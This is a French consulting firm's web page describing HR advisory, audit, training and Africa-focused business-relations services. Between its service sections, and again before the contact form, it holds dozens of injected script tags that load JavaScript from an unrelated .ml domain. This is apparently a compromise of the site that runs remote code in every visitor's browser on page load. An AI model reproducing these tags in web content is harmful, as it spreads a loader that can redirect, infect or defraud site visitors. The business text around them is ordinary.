Nous
donnons du sens à vos projets
organisons leur mise en œuvre
accompagnons leur réalisation

Nos missions

<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>

Conseil
Assistance

  • Mise en œuvre de politiques des Ressources Humaines
  • Appui méthodologique pour la réalisation des actions de dynamique sociale
  • Sécurisation et veille sur les Risques humains des processus de transformations (systèmes d’information, innovations technologiques, numérisation et digitalisation)
  • Conduite du changement ( fusion-intégration, concentration d'activités, redéfinition de missions et de rôles, réaménagement  technique et opérationnel de fonctionnement)
<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>

Etude
Opération

  • Identification des opportunités d’affaires et construction de relations partenariales pertinentes et fiables en vue de développement de nouveaux business
  • Investigations spéciales (identification/détection fraudes internes, enquêtes de patrimoine/assets tracing)
  • Vérification et mesures de (tracking internet, identification des réseaux, campagnes de protection de marques par zone…
  • Etude de faisabilité, traitement des informations socio-économiques et stratégiques
  • Elaboration de scénarii de pénétration de marché sur le continent africain
<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>

Audit
Diagnostic

  • Audit des systèmes et instances de gouvernance, des fonctions, des activités, des dispositions organisationnelles et modes de management.
  • Etude et analyse des performances de structures Evaluation de performance des systèmes d’organisation, des organes de direction
  • Diagnostic de fonctionnement des entités fonctionnelles et opérationnelles
<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>

Formation
Accompagnement

  • Interventions dans le domaine de la formation initiale, de développement des compétences en mode présentielle ou à distance
  • Formations spécifiques de professionnalisation (communication et leadership managérial, entretien professionnel et /ou d'évaluation) 
  • Accompagnement individuel ou collectif (coaching, assistance opérationnelle management, dispositif de codéveloppement)

Nos expertises

Ressources
Humaines

Favoriser l'intelligence collective par la coopération et l’adaptation des compétences multiples dans l’organisation.

Un engagement socialement responsable
Un management émancipateur, mobilisateur et efficace
Un capital humain préservé reconnu et valorisé

  • Gouvernance politique et performance
  • Anticipation gestion et prévision
  • Efficience des équipes
  • Systèmes de rémunération
  • Diversité et inclusion sociale
  • GPEC et prospective métier
  • Employabilité et Mobilité
  • Dispositifs de formation et d’accompagnent individuel et collectif
  • Protection prévention et sécurisation
  • Démarche QVT et dialogue social

Affaires
Relations publiques

Appui aux projets bilatéraux
Partenariat Colloques / forum, symposium et rencontres d’affaires
Aider à la construction des partenariats solides et de confiance dans le cadre en soutiens aux projets de développement des coopérations et du business.

Etablir des liens avec :

  • les décideurs publics et privés (français, européens, africains)
  • les organisations et les bailleurs de fonds internationaux

Innovation
Transformation

Concilier les valeurs d’épanouissement individuel, les progrès collectifs et les objectifs de performance.

Appréhender avec lucidité la révolution numérique et piloter les processus de transformation des fonctions et des activités induites :

  • business model,
  • Relation au travail,
  • Autonomie, initiative, rapport collaboratif

Nous contacter

<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>
Invalid Email
Please check the captcha to verify you are not a robot.
Retour haut de page